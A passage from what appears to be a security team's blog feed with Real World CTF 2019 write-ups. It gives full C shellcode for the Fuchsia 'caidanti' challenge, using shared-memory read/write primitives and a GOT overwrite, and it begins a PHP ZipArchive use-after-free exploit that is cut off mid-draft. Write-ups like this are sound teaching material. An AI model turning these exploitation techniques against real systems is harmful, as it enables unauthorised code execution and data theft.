<h2 id="conclusion">Conclusion</h2>

<p>I would like to thank organizers for this amazing CTF, I’ve learned a lot from it. Real World CTF is definitely on my must-attend list.</p>

<p>Full exploit: https://gist.github.com/PaulCher/79706bf3633d176cca0e47b1b5290cb2
<script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.9.0/prism.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.9.0/components/prism-c.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.9.0/components/prism-php.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.9.0/components/prism-diff.min.js"></script></p>

<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.9.0/themes/prism.min.css" crossorigin="anonymous" integrity="sha384-96FMAcvTHMLB8mZZaXH06yPehGxX3T0Ua5rIVU/R+JJDdEjYiyJe4gJ/Sf7uLDbv" />]]></content><author><name>[&quot;paulch&quot;]</name></author><summary type="html"><![CDATA[In our previous blog post, my teammate Emil has already published a solution for Master of PHP, however, I still want to share another way of solving this challenge, because I think it is quite interesting as well, and it doesn’t require usage of bug that was implanted into no_realworld_php. Instead, in this post we will use recently discovered curl 1-day to achieve stable code execution on the remote host.]]></summary></entry><entry><title type="html">caidanti write-up (Real World CTF 2019 Quals)</title><link href="http://0.0.0.0:4000/caidanti-real-world-ctf-2019-quals/" rel="alternate" type="text/html" title="caidanti write-up (Real World CTF 2019 Quals)" /><published>2019-09-17T17:26:54+03:00</published><updated>2019-09-17T17:26:54+03:00</updated><id>http://0.0.0.0:4000/caidanti-real-world-ctf-2019-quals</id><content type="html" xml:base="http://0.0.0.0:4000/caidanti-real-world-ctf-2019-quals/"><![CDATA[<p>Caidanti was a reverse/pwn task with two flags.</p>

<p>The task had two binaries - <code class="language-plaintext highlighter-rouge">caidanti</code> and <code class="language-plaintext highlighter-rouge">caidanti-storage-service</code>, running on Google’s Fuchsia operating system, which is currently under active development.</p>

<!--more-->

<p>Fuchsia is based on custom microkernel called Zircon, and as such have completely different set of system calls when compared to, for example, Linux or other Unix-like operating system.</p>

<p>You can communicate with <code class="language-plaintext highlighter-rouge">caidanti</code> binary over the network, which in turn communicates with <code class="language-plaintext highlighter-rouge">caidanti-storage-service</code> over <a href="https://fuchsia.googlesource.com/docs/+/ea2fce2874556205204d3ef70c60e25074dc7ffd/development/languages/fidl/tutorial.md">FIDL IPC</a>.</p>

<p>Both flags are only available in the <code class="language-plaintext highlighter-rouge">caidanti-storage-service</code>, so gaining code execution just in <code class="language-plaintext highlighter-rouge">caidanti</code> is insufficient.</p>

<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.9.0/themes/prism.min.css" crossorigin="anonymous" integrity="sha384-96FMAcvTHMLB8mZZaXH06yPehGxX3T0Ua5rIVU/R+JJDdEjYiyJe4gJ/Sf7uLDbv" />

<h2 id="flag-1">Flag 1</h2>

<p>Getting the first flag required a fair amount of reverse engineering.</p>

<p>First, <code class="language-plaintext highlighter-rouge">caidanti</code> has an option to execute arbitrary shellcode. By looking at return address of the function, we can determine the base of the binary, read any data and call any functions.</p>

<p>The code is written in C++, and the class that handles the backend communication has unused function that does “GetFlag1” remote call. So we can call it from our shellcode.</p>

<p>The function takes two parameters, both of which are <code class="language-plaintext highlighter-rouge">std::string</code> (or something similar).</p>

<p>Second, the implementation of this function on <code class="language-plaintext highlighter-rouge">caidanti-storage-service</code> side returns the flag in the second argument if the first argument is string <code class="language-plaintext highlighter-rouge">"YouMadeAFIDLCall"</code> (this check is obfuscated).</p>

<p>I decided to write the shellcode in C, which is doable if you use a proper compilation flags and linker script.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="n">std_string</span> <span class="p">{</span>
    <span class="k">union</span> <span class="p">{</span>
        <span class="k">struct</span> <span class="p">{</span>
            <span class="kt">char</span> <span class="n">s</span><span class="p">[</span><span class="mi">23</span><span class="p">];</span>
            <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">len</span><span class="p">;</span>
        <span class="p">}</span> <span class="n">inlinestr</span><span class="p">;</span>
        <span class="k">struct</span> <span class="p">{</span>
            <span class="kt">char</span> <span class="o">*</span><span class="n">buf</span><span class="p">;</span>
            <span class="kt">size_t</span> <span class="n">len</span><span class="p">;</span>
            <span class="kt">size_t</span> <span class="n">cap</span><span class="p">;</span>
        <span class="p">}</span> <span class="n">bigstr</span><span class="p">;</span>
    <span class="p">};</span>
<span class="p">}</span> <span class="n">std_string</span><span class="p">;</span>

<span class="k">static</span> <span class="kt">char</span> <span class="o">*</span><span class="nf">std_string_data</span><span class="p">(</span><span class="n">std_string</span> <span class="o">*</span><span class="n">self</span><span class="p">)</span>  <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">self</span><span class="o">-&gt;</span><span class="n">inlinestr</span><span class="p">.</span><span class="n">len</span> <span class="o">&amp;</span> <span class="mh">0x80</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="n">self</span><span class="o">-&gt;</span><span class="n">bigstr</span><span class="p">.</span><span class="n">buf</span><span class="p">;</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="k">return</span> <span class="o">&amp;</span><span class="n">self</span><span class="o">-&gt;</span><span class="n">inlinestr</span><span class="p">.</span><span class="n">s</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="nf">_start</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">char</span> <span class="o">*</span><span class="n">binary_base</span> <span class="o">=</span> <span class="n">__builtin_return_address</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0x7205</span><span class="p">;</span>

    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">printf</span><span class="p">)(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">fmt</span><span class="p">,</span> <span class="p">...)</span> <span class="o">=</span> <span class="n">binary_base</span> <span class="o">+</span> <span class="mh">0x10C40</span><span class="p">;</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"Binary base: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">binary_base</span><span class="p">);</span>

    <span class="k">struct</span> <span class="n">std_string</span> <span class="n">param2</span> <span class="o">=</span> <span class="p">{.</span><span class="n">inlinestr</span> <span class="o">=</span> <span class="p">{.</span><span class="n">s</span> <span class="o">=</span> <span class="s">"YouMadeAFIDLCall"</span><span class="p">,</span> <span class="p">.</span><span class="n">len</span> <span class="o">=</span> <span class="mi">16</span><span class="p">}</span> <span class="p">};</span>
    <span class="k">struct</span> <span class="n">std_string</span> <span class="n">param3</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">std_string_data</span><span class="p">(</span><span class="o">&amp;</span><span class="n">param2</span><span class="p">));</span>
    
    <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">sub_7F00</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="p">)</span> <span class="o">=</span> <span class="n">binary_base</span> <span class="o">+</span> <span class="mh">0x7F00</span><span class="p">;</span>

    <span class="n">sub_7F00</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">void</span><span class="o">**</span><span class="p">)(</span><span class="n">binary_base</span> <span class="o">+</span> <span class="mh">0x12140</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">param2</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">param3</span><span class="p">);</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">std_string_data</span><span class="p">(</span><span class="o">&amp;</span><span class="n">param3</span><span class="p">));</span>

    <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="flag-2">Flag 2</h2>

<p>The second part is trickier. The second flag is stored in a file which is not normally read, so we need to gain code execution in <code class="language-plaintext highlighter-rouge">caidanti-storage-service</code>.</p>

<p>What we didn’t use so far is that except “GetFlag1” function, the service also provides some note taking functionality (our beloved pwn cliché).</p>

<p>Note viewing and editing is implemented with shared memory. When viewing/editing is requested, the service sends a virtual memory handle to the client. The client maps it in its memory, reads/update the string, and unmaps the region. Since it’s a shared memory, any changes done by <code class="language-plaintext highlighter-rouge">caidanti</code> are immediately reflected in <code class="language-plaintext highlighter-rouge">caidanti-storage-service</code>.</p>

<p>The bug is that the memory area being sent over includes not only the inline char buffer (which can be updated relatively safely), but also some vtable pointers and <code class="language-plaintext highlighter-rouge">std::string</code>s.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="p">{</span>
    <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">used</span><span class="p">;</span>
    <span class="n">std_string</span> <span class="n">key</span><span class="p">;</span>
    <span class="kt">char</span> <span class="n">value</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
<span class="p">}</span> <span class="n">secret_t</span><span class="p">;</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="p">{</span>
    <span class="kt">void</span> <span class="o">*</span><span class="n">vtable1</span><span class="p">;</span>
    <span class="c1">// skip</span>
    <span class="n">secret_t</span> <span class="n">secrets</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span>
<span class="p">}</span> <span class="n">shit_t</span><span class="p">;</span>
</code></pre></div></div>

<p>To read arbitrary memory, we point some note’s <code class="language-plaintext highlighter-rouge">key</code> buffer to memory we want to read, set <code class="language-plaintext highlighter-rouge">len</code> and <code class="language-plaintext highlighter-rouge">capacity</code> accordingly, and call <code class="language-plaintext highlighter-rouge">ListKeys</code> function.</p>

<p>When new note is created, the new name is assigned (<code class="language-plaintext highlighter-rouge">operator=</code>) to the existing <code class="language-plaintext highlighter-rouge">std::string</code> instance. If its <code class="language-plaintext highlighter-rouge">capacity</code> is already enough to hold the new string, the new data is simply copied to the existing <code class="language-plaintext highlighter-rouge">buffer</code>. So to implement the arbitrary write primitive, we mark a note unused, set <code class="language-plaintext highlighter-rouge">buffer</code> and <code class="language-plaintext highlighter-rouge">capacity</code>  accordingly, and create a new note with <code class="language-plaintext highlighter-rouge">key</code> is the data we want to write.</p>

<p>These primitives are very powerful, and quite likely it’s possible to do the stack pivot and obtain arbitrary shellcode execution.</p>

<p>However, there’s a much simpler solution.</p>

<p>When <code class="language-plaintext highlighter-rouge">caidanti-storage-service</code> is run, it checks that the second flag is readable. It does so by calling <code class="language-plaintext highlighter-rouge">open</code>, but it doesn’t call <code class="language-plaintext highlighter-rouge">close</code> afterwards. Which means the second flag hangs around with fd=3 (even though Zircon doesn’t have a concept of file descriptors, the C library has them as an POSIX-compatible abstraction (to my knowledge, the same thing happens on Windows)).</p>

<p>The <code class="language-plaintext highlighter-rouge">GetFlag1</code> function calls <code class="language-plaintext highlighter-rouge">open</code> to open the first flag, and then sends it back to the user. Naturally, we started looking for some gadget that returns <code class="language-plaintext highlighter-rouge">3</code> in <code class="language-plaintext highlighter-rouge">eax</code> register, so we could overwrite <code class="language-plaintext highlighter-rouge">open</code> GOT entry with it (which luckily was writeable).</p>

<p>And we found it:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pid_t</span> <span class="kr">__cdecl</span> <span class="nf">stub_getpid</span><span class="p">()</span>
<span class="p">{</span>
  <span class="k">return</span> <span class="mi">3</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<pre><code class="language-asm">push    rbp             ; Alternative name is 'getpid'
mov     rbp, rsp
mov     eax, 3
pop     rbp
retn
</code></pre>

<p>After patching the <code class="language-plaintext highlighter-rouge">open</code> GOT entry, the function that used to return the first flag now returns the second flag. And that’s it.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="kt">void</span> <span class="nf">_start</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">char</span> <span class="o">*</span><span class="n">binary_base</span> <span class="o">=</span> <span class="n">__builtin_return_address</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0x7205</span><span class="p">;</span>
    <span class="kt">char</span> <span class="o">*</span><span class="n">service_base</span><span class="p">;</span>
    <span class="kt">char</span> <span class="o">*</span><span class="n">libc_base</span><span class="p">;</span>

    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">printf</span><span class="p">)(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">fmt</span><span class="p">,</span> <span class="p">...)</span> <span class="o">=</span> <span class="n">binary_base</span> <span class="o">+</span> <span class="mh">0x10C40</span><span class="p">;</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Binary base: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">binary_base</span><span class="p">);</span>

    <span class="n">REBASE_FUNCTIONS</span><span class="p">(</span><span class="n">binary_base</span><span class="p">);</span>

    <span class="k">const</span> <span class="kt">void</span> <span class="o">*</span><span class="n">FOO</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">void</span><span class="o">**</span><span class="p">)(</span><span class="n">binary_base</span> <span class="o">+</span> <span class="mh">0x12140</span><span class="p">);</span>
        
    <span class="p">{</span>
        <span class="k">struct</span> <span class="n">std_string</span> <span class="n">key</span> <span class="o">=</span> <span class="n">INIT_STRING</span><span class="p">(</span><span class="s">"hui"</span><span class="p">);</span>
        <span class="k">struct</span> <span class="n">std_string</span> <span class="n">value</span> <span class="o">=</span> <span class="n">INIT_STRING</span><span class="p">(</span><span class="s">"test"</span><span class="p">);</span>
        <span class="kt">int</span> <span class="n">new_id</span><span class="p">;</span>
        <span class="n">create_secret</span><span class="p">(</span><span class="n">FOO</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">key</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">value</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">new_id</span><span class="p">);</span>
    <span class="p">}</span>
        
    <span class="n">shit_t</span> <span class="o">*</span><span class="n">shit</span><span class="p">;</span>

    <span class="p">{</span>
        <span class="k">struct</span> <span class="n">std_string</span> <span class="n">key</span> <span class="o">=</span> <span class="n">INIT_STRING</span><span class="p">(</span><span class="s">"hui"</span><span class="p">);</span>
        <span class="kt">int</span> <span class="o">*</span><span class="n">handle</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">read_secret</span><span class="p">(</span><span class="n">FOO</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">key</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">handle</span><span class="p">);</span>
        <span class="n">zx_vaddr_t</span> <span class="n">res</span><span class="p">;</span>
        <span class="n">zx_vmar_map</span><span class="p">(</span><span class="n">zx_vmar_root_self</span><span class="p">(),</span> <span class="n">ZX_VM_PERM_READ</span> <span class="o">|</span> <span class="n">ZX_VM_PERM_WRITE</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">*</span><span class="n">handle</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">8192</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>

        <span class="n">shit</span> <span class="o">=</span> <span class="p">(</span><span class="n">shit_t</span><span class="o">*</span><span class="p">)</span><span class="n">res</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">service_base</span> <span class="o">=</span> <span class="n">shit</span><span class="o">-&gt;</span><span class="n">vtable1</span> <span class="o">-</span> <span class="mh">0x13060</span><span class="p">;</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"storage-service base: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">service_base</span><span class="p">);</span>

    <span class="n">shit</span><span class="o">-&gt;</span><span class="n">secrets</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">used</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
    <span class="n">shit</span><span class="o">-&gt;</span><span class="n">secrets</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">key</span><span class="p">.</span><span class="n">bigstr</span><span class="p">.</span><span class="n">buf</span> <span class="o">=</span> <span class="n">service_base</span> <span class="o">+</span> <span class="mh">0x140B8</span><span class="p">;</span> <span class="c1">// strlen</span>
    <span class="n">shit</span><span class="o">-&gt;</span><span class="n">secrets</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">key</span><span class="p">.</span><span class="n">bigstr</span><span class="p">.</span><span class="n">len</span> <span class="o">=</span> <span class="mi">256</span><span class="p">;</span>
    <span class="n">shit</span><span class="o">-&gt;</span><span class="n">secrets</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">key</span><span class="p">.</span><span class="n">bigstr</span><span class="p">.</span><span class="n">cap</span> <span class="o">=</span> <span class="mi">256</span> <span class="o">|</span> <span class="n">BIGSTRING</span><span class="p">;</span>
    <span class="p">{</span>
        <span class="n">stringvector_t</span> <span class="n">hui</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">};</span>
        <span class="n">list_secrets</span><span class="p">(</span><span class="n">FOO</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">hui</span><span class="p">);</span>
        <span class="k">while</span> <span class="p">(</span><span class="n">hui</span><span class="p">.</span><span class="n">begin</span> <span class="o">&lt;</span> <span class="n">hui</span><span class="p">.</span><span class="n">end</span><span class="p">)</span> <span class="p">{</span>
            <span class="kt">uintptr_t</span> <span class="o">*</span><span class="n">ptr</span> <span class="o">=</span> <span class="n">std_string_data</span><span class="p">(</span><span class="n">hui</span><span class="p">.</span><span class="n">begin</span><span class="p">);</span>
            <span class="n">printf</span><span class="p">(</span><span class="s">" %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="o">*</span><span class="n">ptr</span><span class="p">);</span>
            <span class="n">libc_base</span> <span class="o">=</span> <span class="o">*</span><span class="n">ptr</span> <span class="o">-</span> <span class="mh">0x98530</span><span class="p">;</span>
            <span class="n">hui</span><span class="p">.</span><span class="n">begin</span> <span class="o">+=</span> <span class="mi">32</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"libc base: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">libc_base</span><span class="p">);</span>

    <span class="n">shit</span><span class="o">-&gt;</span><span class="n">secrets</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">used</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="n">shit</span><span class="o">-&gt;</span><span class="n">secrets</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">key</span><span class="p">.</span><span class="n">bigstr</span><span class="p">.</span><span class="n">buf</span> <span class="o">=</span> <span class="n">service_base</span> <span class="o">+</span> <span class="mh">0x14018</span><span class="p">;</span> <span class="c1">/// open</span>
    <span class="n">shit</span><span class="o">-&gt;</span><span class="n">secrets</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">key</span><span class="p">.</span><span class="n">bigstr</span><span class="p">.</span><span class="n">len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="n">shit</span><span class="o">-&gt;</span><span class="n">secrets</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">key</span><span class="p">.</span><span class="n">bigstr</span><span class="p">.</span><span class="n">cap</span> <span class="o">=</span> <span class="mi">256</span> <span class="o">|</span> <span class="n">BIGSTRING</span><span class="p">;</span>
    <span class="p">{</span>
        <span class="k">struct</span> <span class="n">std_string</span> <span class="n">key</span> <span class="o">=</span> <span class="p">{.</span><span class="n">inlinestr</span> <span class="o">=</span> <span class="p">{.</span><span class="n">len</span> <span class="o">=</span> <span class="mi">8</span><span class="p">}};</span>
        <span class="o">*</span><span class="p">(</span><span class="kt">uintptr_t</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">key</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x9D270</span><span class="p">;</span> <span class="c1">// "return 3" gadget</span>

        <span class="k">struct</span> <span class="n">std_string</span> <span class="n">value</span> <span class="o">=</span> <span class="n">INIT_STRING</span><span class="p">(</span><span class="s">"AAAAAAAA"</span><span class="p">);</span>
        <span class="kt">int</span> <span class="n">new_id</span><span class="p">;</span>
        <span class="n">create_secret</span><span class="p">(</span><span class="n">FOO</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">key</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">value</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">new_id</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="p">{</span>
        <span class="k">struct</span> <span class="n">std_string</span> <span class="n">param</span> <span class="o">=</span> <span class="n">INIT_STRING</span><span class="p">(</span><span class="s">"YouMadeAFIDLCall"</span><span class="p">);</span>
        <span class="k">struct</span> <span class="n">std_string</span> <span class="n">value</span> <span class="o">=</span> <span class="p">{};</span>
        <span class="n">get_flag1</span><span class="p">(</span><span class="n">FOO</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">param</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">value</span><span class="p">);</span>

        <span class="n">printf</span><span class="p">(</span><span class="s">"%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">std_string_data</span><span class="p">(</span><span class="o">&amp;</span><span class="n">value</span><span class="p">));</span>
    <span class="p">}</span>

    <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.9.0/prism.min.js" crossorigin="anonymous" integrity="sha384-YskgLFElT4+kh2Q2AgU/TwVMfT6h6AF7KfA3ohd457FfvHJtCkUXKVYWmhBVQQWE"></script>

<script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.9.0/components/prism-c.min.js" integrity="sha384-D/LU6A02L05w8u0KgVAtdW6thyj9LRU/DLK+jAnloavK7QL1fQqHrSkmtxCoT+iq" crossorigin="anonymous"></script>]]></content><author><name>[&quot;wgh&quot;]</name></author><category term="pwn" /><category term="reverse" /><summary type="html"><![CDATA[Caidanti was a reverse/pwn task with two flags. The task had two binaries - caidanti and caidanti-storage-service, running on Google’s Fuchsia operating system, which is currently under active development.]]></summary></entry><entry><title type="html">Master of PHP writeup (Real World CTF 2019)</title><link href="http://0.0.0.0:4000/master-of-php-real-world-ctf-2019/" rel="alternate" type="text/html" title="Master of PHP writeup (Real World CTF 2019)" /><published>2019-09-17T01:22:55+03:00</published><updated>2019-09-17T01:22:55+03:00</updated><id>http://0.0.0.0:4000/master-of-php-real-world-ctf-2019</id><content type="html" xml:base="http://0.0.0.0:4000/master-of-php-real-world-ctf-2019/"><![CDATA[<h2 id="another-writeup">Another writeup</h2>

<p>Before continuing, open <a href="https://blog.bushwhackers.ru/pwning-master-of-php-like-its-real-real-world-ctf/">another solution</a> in a browser tab (yes, we solved the same challenge twice. Well almost). My teammate @paulcher used CVE-2019-5482 to achieve RCE in this challenge and was very close to success.</p>

<h2 id="challenge-overview">Challenge overview</h2>

<p>The challenge consists of a single php script that just executes user code from <code class="language-plaintext highlighter-rouge">$_POST["rce"]</code> using eval; our goal is to bypass <code class="language-plaintext highlighter-rouge">open_basedir</code> and <code class="language-plaintext highlighter-rouge">disable_functions</code> protections and execute a command. We’re given the Dockerfile and the URL of a remote HTTP endpoint.</p>

<p>We knew how to bypass <code class="language-plaintext highlighter-rouge">open_basedir</code> (see the corresponding section above). However, we were not able to find any flaws in the <code class="language-plaintext highlighter-rouge">disable_functions</code> list — all tricks like putenv + mail were restricted.</p>

<p>Notably, we’re given a copy of the source of the PHP interpreter (it’s in C) which is compiled during <code class="language-plaintext highlighter-rouge">docker build</code> and the challenge is in the “pwn” category. These facts suggest we’ll have to deal with filthy binary stuff.</p>

<h2 id="the-bug">The bug</h2>

<p>After careful diffing with the PHP source on Github, we’ve found a commit that differs from the source we’re given in one meaningful line.</p>

<p>This line is in implementation of <code class="language-plaintext highlighter-rouge">ZipArchive::open</code> method and looks like this:</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- /home/inviz/ctf/tools/php-src/ext/zip/php_zip.c     2019-09-15 17:02:18.933895580 +0300
</span><span class="gi">+++ ./ext/zip/php_zip.c 2019-08-20 10:52:03.000000000 +0300
</span><span class="p">@@ -1380,7 +1380,6 @@</span>
        }
        if (ze_obj-&gt;filename) {
                efree(ze_obj-&gt;filename);
<span class="gd">-               ze_obj-&gt;filename = NULL;
</span>        }

        intern = zip_open(resolved_path, flags, &amp;err);
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">ZipArchive</code> class is a class for handling ZIP archives. Its instances are reusable; one can call <code class="language-plaintext highlighter-rouge">$zipArchive-&gt;open(...)</code> multiple times and work with different files using the same instance of the <code class="language-plaintext highlighter-rouge">ZipArchive</code> class. The underlying code of <code class="language-plaintext highlighter-rouge">ZipArchive::open</code> is implemented in C.</p>

<p>All methods of <code class="language-plaintext highlighter-rouge">ZipArchive</code> class preserve the following invariant: the name of the file that is currently opened is stored in <code class="language-plaintext highlighter-rouge">ze_obj-&gt;filename</code> as a C string. If it’s <code class="language-plaintext highlighter-rouge">NULL</code>, no file is opened. The logic of the original <code class="language-plaintext highlighter-rouge">open</code> method is as follows:</p>

<ol>
  <li>It checks if <code class="language-plaintext highlighter-rouge">ze_obj-&gt;filename</code> is NULL. If this is not true, it calls <code class="language-plaintext highlighter-rouge">efree</code> on this pointer and replaces it with NULL.</li>
  <li>It tries to open the requested file. If it fails, an error is returned.</li>
  <li>If the file was successfully opened the method stores a copy of the name of the file that was just opened into <code class="language-plaintext highlighter-rouge">ze_obj-&gt;filename</code> as a C string.</li>
</ol>

<p>The patch removes “replaces it with NULL” part from step 1. As we can supply any PHP code we can make the first call to <code class="language-plaintext highlighter-rouge">ZipArchive::open</code> succeed and following multiple calls to fail; these calls will perform <code class="language-plaintext highlighter-rouge">efree</code> of the same address, resulting in a dangling pointer stored in <code class="language-plaintext highlighter-rouge">ze_obj-&gt;filename</code> that can be <code class="language-plaintext highlighter-rouge">efree</code>d again later. More importantly, we can make PHP interpreter allocate something in its place between calls to <code class="language-plaintext highlighter-rouge">efree</code>, making it kinda use-after-free.</p>

<h2 id="exploitation-plan">Exploitation plan</h2>

<p>As you may note the function that releases memory is called <code class="language-plaintext highlighter-rouge">efree</code>, not <code class="language-plaintext highlighter-rouge">free</code>. This is PHP’s internal allocator. Instead of diving deep into its details, we just state a property that any sane allocator has; it’s the only property we need for the exploitation.</p>

<p>The property is: if we call <code class="language-plaintext highlighter-rouge">free</code> on a block of size S bytes and then call <code class="language-plaintext highlighter-rouge">malloc(S)</code> multiple times, we’ll eventually get the address we just freed. The PHP allocator uses free lists, so we need to call malloc only once and we will immediately get the just-freed address.</p>

<p>In other words, after executing the following C code:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">a</span> <span class="o">=</span> <span class="n">emalloc</span><span class="p">(</span><span class="n">size</span><span class="p">);</span>
<span class="n">efree</span><span class="p">(</span><span class="n">a</span><span class="p">);</span>
<span class="n">b</span> <span class="o">=</span> <span class="n">emalloc</span><span class="p">(</span><span class="n">size</span><span class="p">);</span>
</code></pre></div></div>

<p>we’ll have <code class="language-plaintext highlighter-rouge">a == b</code>.</p>

<p>From the PHP code point of view it gives us the following exploit draft:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$size</span> <span class="o">=</span> <span class="o">&lt;</span><span class="n">some</span> <span class="n">value</span> <span class="n">we</span> <span class="n">define</span> <span class="n">later</span><span class="o">&gt;</span><span class="p">;</span>

<span class="c1">// The size of the next string in C is $size as "/tmp/" is 5 bytes and</span>
<span class="c1">// the terminating zero byte also counts.</span>
<span class="nv">$archive_name</span> <span class="o">=</span> <span class="s2">"/tmp/"</span><span class="mf">.</span><span class="nb">str_repeat</span><span class="p">(</span><span class="s2">"X"</span><span class="p">,</span> <span class="nv">$size</span> <span class="o">-</span> <span class="mi">6</span><span class="p">);</span>

<span class="c1">// First we create our ZipArchive object.</span>
<span class="nv">$archive</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ZipArchive</span><span class="p">();</span>

<span class="c1">// Next call succeeds and ze_obj-&gt;filename of size $size is allocated.</span>
<span class="nv">$archive</span><span class="o">-&gt;</span><span class="nf">open</span><span class="p">(</span><span class="nv">$arcive_name</span><span class="p">,</span>  <span class="nc">ZipArchive</span><span class="o">::</span><span class="no">CREATE</span><span class="p">);</span>

<span class="c1">// Next call fails as we can't open "/etc/passwd" and</span>
<span class="c1">// ze_obj-&gt;filename is free'd.</span>
